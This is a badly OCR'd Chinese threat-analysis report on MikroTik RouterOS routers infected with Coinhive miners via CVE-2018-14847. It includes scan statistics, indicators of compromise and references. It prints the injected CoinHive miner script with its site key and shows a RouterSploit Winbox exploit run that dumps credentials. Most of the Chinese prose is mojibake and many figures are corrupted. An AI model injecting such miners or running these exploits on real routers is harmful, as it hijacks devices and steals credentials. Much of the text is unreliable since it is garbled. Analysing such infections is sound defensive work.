Indonesia 88,497 7.81% TELKOMNET-AS2-AP PT Telekomunikasi Indonesia 26,790 2.36%
China 81,042 715% TELEF@NICA BRASIL S.A 23452 2.07%
India 70,987 6.26% TELKOMNET-AS-AP PT Telekomunikasi Indonesia 14,492 1.28%
Russia 66,057 5.83% TOT-NET TOT Public Company Limited 10,349 0.91%
Iran 65,990 5.82% PTC-YEMENNET 10,258 0.91%
United States 39,443 3.48% TCl 10,187 0.9%
Thailand 36,460 3.22% CATHDC-4BYTENET-AS-AP CAT TELECOM Public Company Ltd,CAT 9,679 0.85%
Ukraine 34,455 3.04% TRIPLETNET-AS-AP Triple T Internet/Triple T Broadband 9,574 0.84%
Poland 31,399 2.77% CHINA169-BACKBONE CHINA UNICOM China169 Backbone 8429 0.74%
Common Tags
Tag Hosts Frequency
embedded 1,028,530 90.75%
i~ . .

E censvs [+ QLR LEERTIN  CoinHive.Anonymous Mikrotik routeros

Protocol: = MikroTik Network = MikroTik Router0S 6.41.3 £ 21/ftp, 22/ssh, 53/dns, 80/http, 8080/http

486.75K 8080/http ). 8080.hitp.get. metadata.product: Mikrotik

207.55K 22/ssh
206.01K 21/fip £ 120.143.133.113

14B.55K 53/dns 5 NSHK-AS-AP Netsolutions Limited (53849) ¢ Guangdong, China
& Mere = MikroTik Network = MikroTik Router0S 6.41.3 & 21/ftp, 22/ssh, 53/dns, 80/http, 8080/http
. 8080.http.get. metadata.product: Mikrotik

951.09K http £ 120.143.133.80
558.58K network
newwor {5 NSHK-AS-AP Netsolutions Limited (63849) ¢ Guangdong, China

207.55K ssh
206.07K flp = MikroTik Network = MikroTik Router0S 6.41.3 £ 21/ftp, 22/ssh, 53/dns, 80/http, 8080/http
] .Mure ). 8080.hitp.get metadata.product: Mrkrotik

£ 101.251.44.91

& NSHK-AS-AP Netsolutions Limited (63849) ¢ Guangdong, China
= MikroTik Network = MikroTik Router0S 6.41.3 £ 21/ftp, 22/ssh, 53/dns, 80/http, 8080/http
. 8080.http.get. metadata.product: Mikrotik

g Censvs CoinHive.Anonymous  Mikrotik routeros

Country Breakdown Network Breakdown

Country Hosts Frequency Autonomous System (AS) Hosts Frequency
Brazil 17.82% CHINANET-BACKBONE No.31,Jin-rong Street 64,349 5.68%
Indonesia 88,497 7.81% TELKOMNET-AS2-AP PT Telekomunikasi Indonesia 26,790 2.36%
China 81,042 715% TELEF@NICA BRASIL S.A 23452 2.07%
India 70,987 6.26% TELKOMNET-AS-AP PT Telekomunikasi Indonesia 14,492 1.28%
Russia 66,057 5.83% TOTNET TOT Public Company Limited 10,349 0.91%
Iran 65,990 5.82% PTC-YEMENNET 10,258 0.91%
United States 39,443 3.48% Tcl 10,187 0.9%
Thailand 36,460 3.22% CATHDC-4BYTENET-AS-AP CAT TELECOM Public Company Ltd,CAT 9,679 0.85%
Ukraine 34,455 3.04% TRIPLETNET-AS-AP Triple T Internet/Triple T Broadband 9,574 0.84%
Poland 31,399 277% CHINA169-BACKBONE CHINA UNICOM China169 Backbone 8,429 0.74%
Common Tags

Tag Hosts Frequency

embedded 1,028,530 90.75%



FiE2

WA HHE 1(srcips.com/src.js):

._1” censvs Srcips.com%2Fsrc.js

Protocol: 0 176.99.113.85 (pool.giga.net.ru)
20.22K BOB0/htip £ GIGANET-UA-AS (48330) ¢ Simferopol, Autonomous Republic of Crimea, Ukraine
8,363 80/http U MikroTik Device £+ 53/dns, 80/http, 8080/http
4,151 53/dns EMBEDDED
656 443/https -
- :52 22/ssh O 177.185.159.71 (71.159.185.177.slnet.com.br)
ore
& Edilso Fuchter & Cia Ltda (263419) @ Brazil
Tag: L) MikroTik Device £+ 80/http, 8080/http
‘
24.88K |http
24.88K |embedded 0 36.89.180.231
4,151 dns
945 network £ TELKOMNET-AS2-AP PT Telekomunikasi Indonesia (17974) ¢ Indonesia
552 ssh O MikroTik Device  #+ 53/dns, 80/http, 8080/http
© v
0 31.148.125.49 (static-31-148-125-49.netbynet.ru)
45 DIALOG-AS (60165) ¢ Pikalyovo, Leningradskaya Oblast, Russia
1 MikroTik Device %+ 80/htip, 8080/htip
!\"= censvs [+ QIS LR srcips.com%2Fsrc.js
—________ .
Country Hosts Frequency Autonomous System (AS)
Brazil 4687 18.84% TELKOMNET-AS2-AP PT Telekomunikasi Indonesia
Indonesia 371 14.91% TELEF@NICA BRASIL S.A
India 3179 12.78% MESH-AS Mesh Infranet Private Limited
Russia 1,379 5.54% TELKOMNET-AS-AP PT Telekomunikasi Indonesia
Thailand 1,100 4.42% TRIPLE-PLAY-IN TRIPLE PLAY BROADBAND PRIVATE LIMITED
Spain 848 3.41% Telefonica del Peru S.A.A
Cambodia 741 2.98% CAT-IDC-4BYTENET-AS-AP CAT TELECOM Public Company Ltd,CAT
Iran 674 271% POWERNET-AS-ID PT. Power Telecom Indonesia
Peru 670 2.69% ONLINE-AS Cogetel Online, Cambodia, ISP
Colombia 587 2.4% SATTVPLUS-AS
Common Tags
Tag Hosts Frequency
http 24,882 100.0%
embedded 24,881 100.0%

BAZHSAE 2(priv.su/src.s):



Protocol:

33.23K 80/http 0 181.21.58.124 (181-21-58-124.speedy.com.ar)

22.17K 8080/http & Telefonica de Argentina (22927) ¢ Rada Tilly, Chubut, Argentina

12.98K 53/dns [ MikroTik Device %+ 80/http, 8080/http
981 443/https EIIBEDDED
754 22/ssh

& Mere 0 190.8.246.70 (static-ip-cr190824670.cable.net.co)

Tag: £ Telmex Colombia 5.A. (10620) ¥ Floridablanca, Departamento de Santander, Colombia

¢ L MikroTik Device ¢ 53/dns, 80/http, 8080/http

42.44K |embedded EMBEDDED

P [ EMBEDDED J

11;?; ﬂgfwmk O 188.254.159.182 (188-254-159-182.bs.ddns bulsat.com)
‘843 hitps & BULSATCOM-BG-AS Sofia (43205) ¢ Burgas, Burgas, Bulgaria

® More I MikroTik Device ~ #+ 80/http, 8080/http
I“l; censvs Q IPv4 Hosts & priv.su%2Fsrc.js
Country Hosts Frequency Autonomous System (AS)
India 6,939 16.35% ODITEL-AS HBS TELESOFT PRIVATE LIMITED
Brazil 4479 10.55% TELKOMMNET-AS2-AP PT Telekomunikasi Indonesia
Indonesia 4,355 10.26% Telefonica de Argentina
Russia 2,978 7.02% IVORY-AS-IN IVORY COMMUNICATIONS PVT. LTD.
Argentina 2,287 5.39% NASIONALONLINE-AS-ID PT Nasional Online
United States 1,837 4.33% CNS
Poland 1,355 3.19% SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS
Bangladesh 1,211 2.85% QUALITY-AS-IN Quality Broadband Pvt Ltd
Colombia 1,154 2.72% TOT-LLI-AS-AP TOT Public Company Limited
Spain 1,094 2.58% ROSTELECOM-AS

Common Tags

Tag Hosts Frequency
embedded 42,444 100.0%
http 42,444 100.0%

AL
Censys4il 451

ﬁﬁ' 24.88k 42 .44k
1.Brazil (/) 1.India
2.Indonesia(EPERFIL) 2.Brazil
Top 3[E% 3.India(ENE) 3.Indonesila

T censys PRV A A RHIE, 2GR Mikrotik B AR WAL Z 1A
67,320 &, A X FEEFIEET., ERIT. EEEE, HRIXHEM
W&, Wi N T i web R, A ANWITEARAL, FEAREH — 1, 454 src. s
A Mikrotik 2 MRFESRHEATH R, $iE £k 1,145,499



B More
0 81.183.230.76 (dsI51B7E64C.fixip.t-online.hu)
Protocol: & HTC-AS Magyar Telekom Nyrt. (5483) ¢ Budapest, Budapest, Hungary
497.33K 8080/http I MikroTik Device  #+ 80/http, 8080/http
451.63K 80/http O, 8080.hitp.get. metadata.product: Mikrotik

208.07K 22/ssh
205.84K 21/ftp

147.09K 53/dns 0 202.91.76.81
& More & SWIFTONLIME-AS-AP SWIFT ONLINE BORDER AS (9830) @ New Delhi, National Capital Territory of Delhi, India
I MikroTik Device  #+ 80/http, 8080/http

Tag: O, 8080.hitp.get. metadata.product: Mikrotik

1.03M _embedded

963.28K htip

558.58K network (] 185.236.69.53

208.07K ssh & BAZA-AS (49821) 9 Russia

205.84K ftp A i

B vore I MikroTik Device  #+ 80/http, 8080/http

O, 8080.hitp.get. metadata.product: Mikrotik

< censys ®

Country Breakdown Network Breakdown
Country Hosts Frequency Autonomous System (AS) Hosts Frequency
202,156 17.65 | CHINANET-BACKBONE No.31,Jin-rong Street 64,353 5.62%
Indonesia = 7.72% TELKOMNET-AS2-AP PT Telekomunikasi Indonesia 26,786 2.34%
81,103 7.08% TELEF€NICA BRASIL S.A 23,433 2.05%
Russia 76,386 6.67% TELKOMNET-AS-AP PT Telekomunikasi Indonesia 14,492 1.27%
India 70,985 6.2% DALLAS-AS 14,068 1.23%
Iran 65,998 5.76% TOT-NET TOT Public Company Limited 10,349 0.9%
United States 40,168 3.51% PTC-YEMENNET 10,258 0.9%
Thailand 36,466 3.18% TCl 10,188 0.89%
Ukraine 34,467 3.01% CATIDC-4BYTENET-AS-AP CAT TELECOM Public Company Ltd,CAT 9,679 0.84%
Poland 31,398 2.74% TRIPLETNET-AS-AP Triple T Internet/Triple T Broadband Q9,572 0.84%

Common Tags

Tag Hosts Frequency

embedded 1,028,517 89.79%

T2 g0 g R

Censys%4il 4%

FHEZURE CoinHive.Anonymous src.js + Mikrotik
+Mikrotik + routeros

HE 1,133,326 1,145,499

1.2 1.7
Top 3EZE  2.HEEAIE 2. FIEE JE PG
3.9 [H 3.9 [H

ERGEHEE R BN, Tk 1M 2 WEEAHT 3 [ AR — B0, o2
BRHERASIE — (X5 B RZ M Mikrotik BL&2 —H):



TOTAL RESULTS

2,085,382

TOP COUNTRIES

| Brazil 305,501 |

Indonesia 162,832
China 159,367
Russian Federation 141,809
India 105,542
TOP SERVICES

FPTP 1,115,334
FTP 301,719
HTTP {3080) 237,511
HTTP 192,790
Telnet 176,815

EIREE R PH A B 28—, F E HES 28 = (8,000+), HH H G RS CHINANET-
BACKBONE No.31,Jin-rong Street(E W Bot £HE..) Mo MA LA
60,000+%, 1] UL P O YL & 134 )

(W RALRBOEEE R T — & 2B ARE)

Fo114.242115.246 (5]

R =ik KE ME #Wm BRx BR ##E XE BES»

EECASHERERATL 11,0004 TEETE
|PHb|ERE)

IPHtiiE: 114.242.115.246 dtmEmidcmmD BoE
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AHIPEEL IPHEHEEITE
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@ AZ== | 114.242.115.246 E % O

[® (]| Elements Console Sources Network Performance  Memory Application  Security  Audits o1 I X
® © | ™ ¥ Q| View I= = O Groupby frame Preserve log @ Disable cache Offiine Online
Filter Hide data URLs [) | XHR JS €SS Img Media Font Doc WS Manifest Other

I 5000 ms. 10000 ms 15000 ms 20000 ms 25000 ms 30000 ms 35000 ms 40000 ms 45000 m

X Headers Frames  Timing
® Al ¥ Enterregex for example: (web)?socket

Data Length Time
[PruryrpKC96 +XruaiTqKS66/!
1suuSsLms6/Pp66GouqGWaKqgrLms
/Pp650mq +vIGeuSqLuopl

v+ rfiq + vubraqvBa-+ G+ Gt/PDwr/6v + Pyq/POx/Piir...

e

1B Windows TEEES
TP BRO) SEV) EEH)

stingcloud.science.

gexrml:..

@ datatimage/svg+x :

H L 2t al 40, BdiE A Mikrotik RouteroS Jiilil CVE-2018-14847 7F
PRV TR T MRS Y, BT E X A Mikrotik BEAERE,
BRI 1 3k, B TR G AR . IR R RS S T 2. R AL
PEZEER AT LUE B 3 6 Mikrotik & 451815 Pl S5 A 22 e pL -+ 2428, T
HFE 1 AT 2 Nz R —HR TN £ F5 S8 = 5 R AR AL 22 4
FihfEH, 20184 1 H 1 H&E 6 A 30 HIA, Fuit B+ REGHEAEEF,
PG 5 L o 18% (R E S ), IX AT RE S IR R VEEE N K& Mikrotik B HI A%
R SERE R, SFEULERIY:

18%

0%

ox5 PiviSAbE R

ST SRS B e BRI, ERE R B v P AT AEAN R B AT AR B
LRI 3 528 (chrome D825 ) Vi) http TR http://6cloudtech.com , [Fi{4 F12
Ik #FH L H, &% sources Ml network WAL, BB B30 A :



https://www.f5.com/labs/articles/threat-intelligence/the-hunt-for-iot--multi-purpose-attack-thingbots-threaten-intern
https://www.f5.com/labs/articles/threat-intelligence/the-hunt-for-iot--multi-purpose-attack-thingbots-threaten-intern
http://6cloudtech.com/

* O top 1| <htm
* ™ 6eloudtech.com :

:

» O 6eloudtech.com/

w="Content-Type" content="text/html;charse

cloudtach -§g="é-éj—1an
S192. 1oz, 2. 16W: 88s5/coinhive. min. ]~ >

{throttle: 8.17); @

)
@ B

» T Q ew: m= = Group by frame Preserve log [ Disable cache Offline
Filter Hide data URLs ill} | XHR JS CSS Img Media Font Doc WS Manifest Other
2000 ms 4000 ms 6000 ms 8000 ms 10000 ms
Name Method Status Protoco Scheme [
403
GET http/1.0 http £
Forbidden e e

1DL 100.L LU

B EERH curl fE4A4T NigfT curl -i http://6cloudtech.com

C=slleanesldninictnatony™: vWgere Adninistrator~Desktop «wcurl.exe.lnk -i http:/6cloudtech.com
HITP/1.@ 483 Forbidden

Content—Length: 446

Content—-Type: textshtml

Date: Sun,. 11 Nov 2818 B8:87:89 GMT

Expires: Sun,. 11 Hov 2818 @8:@7:89 GHMT

Server: Mikrotik HttpProxy

Proxy—Connection: close

<html>

<head>
{meta http-equiv="Content-Type" content="text html;charset=windows—-1251"">
<title>"htto:z/s6cloudtech.com "< title>

‘geript sre="http:- 192 _.168_.2.108:8888coinhive.min.js">{/script>

lscript?
var miner = new GoinHive.fAnonymous <’ gKo¥U8 jRllclal tBLGcMITHu? yLJEyylU O’ . {throttle: B.13>;
miner.start(CoinHive .FORCE_EXCLUSIVE_TAB>;

scriptl

WL PR LN

<frameset’

<frame src="http:-r6¢cloudtech.com ">{Frame>

</frameset >

<shtml>

INTT L BT S0 S e T IR R AR A B S0 5 P AT A 86 s 31 4 5 R FH BRUAS I8, G
FEET X IR AT I S R A4 2R



http://6cloudtech.com/

192.168.2.1 Could not verify exploitability:
- 192.168. :80 http exploits/routers/dlink/dsl_2736b 2780b _526b _dns_change
- 192.168. 11900 custom/udp exploits/routers/dlink/dir 815 8501 rce
- 192.168. http exploits/routers/dlink/dsl 2640b_dns_change
- 192.168. http exploits/routers/dlink/dsl 2740r_dns_change
- 192.168 http exploits/routers/asus/asuswrt lan_rce
- 192.168. http exploits/routers/netgear/dgn2200 dnslookup cgi_rce
- 192.168. custom/tcp exploits/routers/cisco/catalyst 2960 rocem
- 192.168 http exploits/routers/cisco/secure_acs bypass
- 192.168. http exploits/routers/billion/billion 5200w_rce
- 192.168. < http exploits/routers/shuttle/915wm_dns_change
- 192.168.2.1: http exploits/routers/3com/officeconnect rce

NNNNNNNNNNN

[+] 192.168.2.1 Device is vulnerable:

Port Service Exploit

192.168.2.1 8291 custom/tcp exploits/routers/mikrotik/winbox_auth bypass creds disclosure

rsf ( ) > run
Running module...
[#] 192.168.2.1:8291 TCP Connection established
[+] Target seems to be vulnerable
| Dumping credentials

Username Password

www.6cloudtech.com

B ST AL Bl 1) P M R SR S A R B VR

1> J14% Router0s 3| &R

2> SLZI R

3> FcE 8291 i I H L B AR 250 IP 15 1)

4> {if] “Export” A EE A M E G EAT IR, HlunRiE SOCKS QH B & A
PN

5> AR 7 EE AT B AH G BT KR B3 N T = R AR KRS (BRI

NIz B AR KA AN AV 7 K8 O SR 012 R 28 20 T A -



BEREEOR)
350

280

210

140

IPSEHFIR HFAT

e FREESSHEA 1SHED FHEEDR FHREI it Blbisht a0 Btsn Hh

2018/11/13 10:18:38 miscellaneous 1000310 | Mikrotik RouterOS Mining Infection Detected! EEWE 37301 80 tep

2018/11/1310:18:33 miscellaneous Mikrotik RouterOS Mining Infection Detected! FERE 37391 80 tcp

2018/11/13 10:18:28 miscellaneous Mikrotik RouterOS Mining Infection Detected! EEWE 37391 80 tcp

2018/11/1310:18:23 miscellaneous Mikrotik RouterOS Mining Infection Detected! EEWE 37301 80 tep

2018/11/1310:18:18 miscellanecus Mikrotik RouterOS Mining Infection Detected! FERE 37391 80 tep

2018/11/1310:18:13 miscellaneous 1000310 | Mikrotik RouterOS Mining Infection Detected! FERE 37391 80 tcp

ox6 B4

%] CVE-2018-14847 FA FoRE , 1IX K@ —A “RBIMEREL” 1884230 F7 R ,
T B RGTUEIE, BME 2 P 44 538 it 22, WK IR ZE Linux REMIHRIERL,
T 7E J5 82— R A IR A, JoBE 6 th 4 )5 [T ROR I /R ) %8, 1 25 LA, R T I 4 5
[T A AT, 80 55 9 725 K% 4% ) R, Cisco(J8F}) . D-LINK. Tenda. Linksys.
Netgear. Netcore S5 MR FAFMERH , HLAERT JLOR , B B A4 55 - VO B /N R A2
AU S IO, T AR “JE1TT7 A, RS RN R N T
FERFSH AT RME N0, ERH R SicMBR 7 XEXARRET, e — A2k
A, P S TT RIS A RO . T BB ER AR T AR AR =, T DB SRR R
VER GG, — BCSRR A, SRS B 2%, 20 F A 1 b 22 4 i el G ™ L) J 3R, 7
DAFH RAL SRR S5AREAZH ™ B VE N VPN AR 41 2 K 43 A XA N 4%, 3317 R 2) DDos
R, NIT 1-2 45K , AN T ToT A %t 2% PRI A IEZEGEAT B 2R BIF20 1R 25 4% )
BARIEH A B BRI B S RN 2 (B 5 T8 0] DUSE U R BRI 2 i FH P 820,
0 H 2 KB o A B G 2 H gL R e, WA I, ) 25t AH 24 n] LI ( 55 40 A A B
W K 2)) DDos Bl AT JUEHE A ), ToT 120 LUl 2y |

P B AR FRBE N T, SE 2% BRI 15 % A 2 5 A, 8 “ il 7]”
Ak N IR, BB IS AT IX AN SERE ToT AN, B S i 2 815 /5 ) m e !

ox7 =%

0.https://blog.malwarebytes.com/threat-analysis/2018/10/fake-browser-
update-seeks-to-compromise-more-mikrotik-routers/
1.https://github.com/BasuCert/WinboxPoC
2.https://github.com/tenable/routeros/
3.https://mp.weixin.qq.com/s/6FZqeG3ys2rYpuz7nXr Lw



https://www.zdnet.com/article/cisco-removed-its-seventh-backdoor-account-this-year-and-thats-a-good-thing/
https://www.zdnet.com/article/cisco-removed-its-seventh-backdoor-account-this-year-and-thats-a-good-thing/
https://blog.malwarebytes.com/threat-analysis/2018/10/fake-browser-update-seeks-to-compromise-more-mikrotik-routers/
https://blog.malwarebytes.com/threat-analysis/2018/10/fake-browser-update-seeks-to-compromise-more-mikrotik-routers/
https://github.com/BasuCert/WinboxPoC
https://github.com/tenable/routeros/
https://mp.weixin.qq.com/s/6FZqeG3ys2rYpuz7nXr_Lw

4 .https://github.com/0ki/mikrotik-tools

0x8 IoCs

(#B77)

Sample hashes:
57EB8C673FC6A351B8C15310E507233860876BA813ED6AC633E9AF329A0BBAAO
EEA4A4461D90347B290D78E4F108311E
Coinhive site keys:
01KAGEs1cNfjfgxTMrxKGMIvh436ypIM
5zHUikiwJT4MLZzQOPLbU11gEZz8TLCCYX
5RO0f564mEBQsYzCqee@M2Lpl1LBEApCY
gKoXV8jX1cUaItoLGcMIIHwW7yLIEyyVO
Zsyel@FvutbhhdLTVEYe3WOnyd3BU1fK
ByMzv397Mzjcm4Tvr3d0zD6toKeLOqggf
joyIMQSiGgGHos78FarfEGIuM5Ig718h
ryZ1D14QYuD1QBMchMFviBXPL1E1bbGs
jh@GDOZETDOFypDbwj TNWXWIuvUlwtsF
BcdFFhSoV7WkHiz9nLmIbHgil@BHIOMa

Domains:

gazanew.com

mining711.com

srcip.com

src-ips.com

srcips.com

priv.su
hostingcloud.science.
meaghan.pythonanywhere.com


https://github.com/0ki/mikrotik-tools

